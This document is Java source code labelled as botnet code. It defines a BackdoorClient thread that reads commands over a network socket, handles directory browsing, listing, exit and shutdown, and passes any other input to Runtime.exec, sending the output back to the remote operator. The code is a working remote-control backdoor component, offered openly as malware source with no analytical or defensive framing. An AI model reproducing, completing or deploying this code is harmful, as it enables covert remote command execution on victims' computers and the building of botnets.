Bot Net source codes

import java.net.Socket;
import java.net.ServerSocket;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.IOException;
import java.io.File;

class BackdoorClient extends Thread {

    private Socket socket;

    private BufferedReader reader;
    private BufferedWriter writer;

    private String workingDirectory;

    public BackdoorClient(Socket socket) {
        this.socket = socket;
        this.start();
    }

    public void run() {
        try {
            this.reader = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
            this.writer = new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream()));
            this.workingDirectory = Util.getJARLoc();
            this.workingDirectory = this.workingDirectory.substring(0, this.workingDirectory.lastIndexOf("\\")) + "\\";
            this.write(this.workingDirectory);
            Debug.print("Wrote working dir\n");
            while(this.socket.isConnected() && MiscStatus.backdoorConnected) {
                try {
                    String line = this.reader.readLine();
                    if(line == null) {
                        continue;
                    } else {
                        this.interpret(line);
                        this.write(":END");
                        this.write(this.workingDirectory);
                    }
                } catch(IOException ioe) {
                }
            }
            MiscStatus.backdoorConnected = false;
        } catch(IOException ioe) {
            Debug.print("Backdoor reader / writer instantiation throwed IOException: " + ioe.toString());
            MiscStatus.backdoorConnected = false;
        }
    }

    private void interpret(String line) {
        String[] args = Util.splitArgs(line);
        if(args[0].equals("exit")) {
            try {
                this.reader.close();
                this.writer.close();
                this.socket.close();
            } catch(IOException ioe) {
            }
        } else if(args[0].equals("shutdown")) {
            System.exit(1);
        } else if(args[0].equals("shutdown listener")) {
            ServerStatus.backdoorListening = false;
        } else if(args[0].startsWith("cd")) {
            if(args.length == 2) {
                String dir = args[1];
                if(dir.indexOf(":\\") == -1) {
                    File file = new File(this.workingDirectory + dir);
                    if(file.exists()) {
                        if(file.isDirectory()) {
                            this.workingDirectory = this.workingDirectory + dir;
                            if(!this.workingDirectory.endsWith("\\")) {
                                this.workingDirectory = this.workingDirectory + "\\";
                            }
                        } else {
                            this.write("No such directory: " + dir + "\n");
                        }
                    } else {
                        this.write("No such directory: " + dir + "\n");
                    }
                } else {
                    File file = new File(dir);
                    if(file.exists()) {
                        if(file.isDirectory()) {
                            this.workingDirectory = dir;
                            if(!this.workingDirectory.endsWith("\\")) {
                                this.workingDirectory = this.workingDirectory + "\\";
                            }
                        } else {
                            this.write("No such directory: " + dir + "\n");
                        }
                    } else {
                        this.write("No such directory: " + dir + "\n");
                    }
                }
            }
        } else if(args[0].equals("ls")) {
            File dir = new File(this.workingDirectory);
            if(!dir.exists() || !dir.isDirectory()) {
                this.write("No files found.\n");
                return;
            }
            this.write("Contents of " + this.workingDirectory + ":\n\n");
            for(File file : dir.listFiles()) {
                if(file.isDirectory()) {
                    this.write("<DIR> " + file.getName() + "\n");
                } else {
                    long size = file.length();
                    if(size >= (1024 * 1024 * 1024)) {
                        this.write(file.getName() + " (" + (size / (1024 * 1024 * 1024)) + " GB)\n");
                    } else if(size >= (1024 * 1024)) {
                        this.write(file.getName() + " (" + (size / (1024 * 1024)) + " MB)\n");
                    } else if(size >= 1024) {
                        this.write(file.getName() + " (" + (size / 1024) + " KB)\n");
                    } else if(size < 1024) {
                        this.write(file.getName() + " (" + size + " bytes)\n");
                    }
                }
                try {
                    this.sleep(10);
                } catch(InterruptedException ie) {
                }
            }
        } else {
            try {
                Process process = Runtime.getRuntime().exec(line);
                if(line.indexOf(".exe") != -1) {
                    return;
                }
                BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String str;
                while((str = in.readLine()) != null) {
                    this.write(str + "\n");
                }
            } catch(IOException ioe) {
                try {
                    Process process2 = Runtime.getRuntime().exec(this.workingDirectory + line);
                    if(line.indexOf(".exe") != -1) {
                        return;
                    }
                    BufferedReader in2 = new BufferedReader(new InputStreamReader(process2.getInputStream()));
                    String str2;
                    while((str2 = in2.readLine()) != null) {
                        this.write(str2 + "\n");
                    }
                } catch(IOException ioe2) {
                    this.write("IOException thrown: " + ioe2.toString());
                }
            }
        }
    }

    private void write(String str) {
        str = str.replaceAll("\n", "");
        try {
            this.writer.write(str);
            this.writer.newLine();
            this.writer.flush();
        } catch(IOException ioe) {
        }
    }

}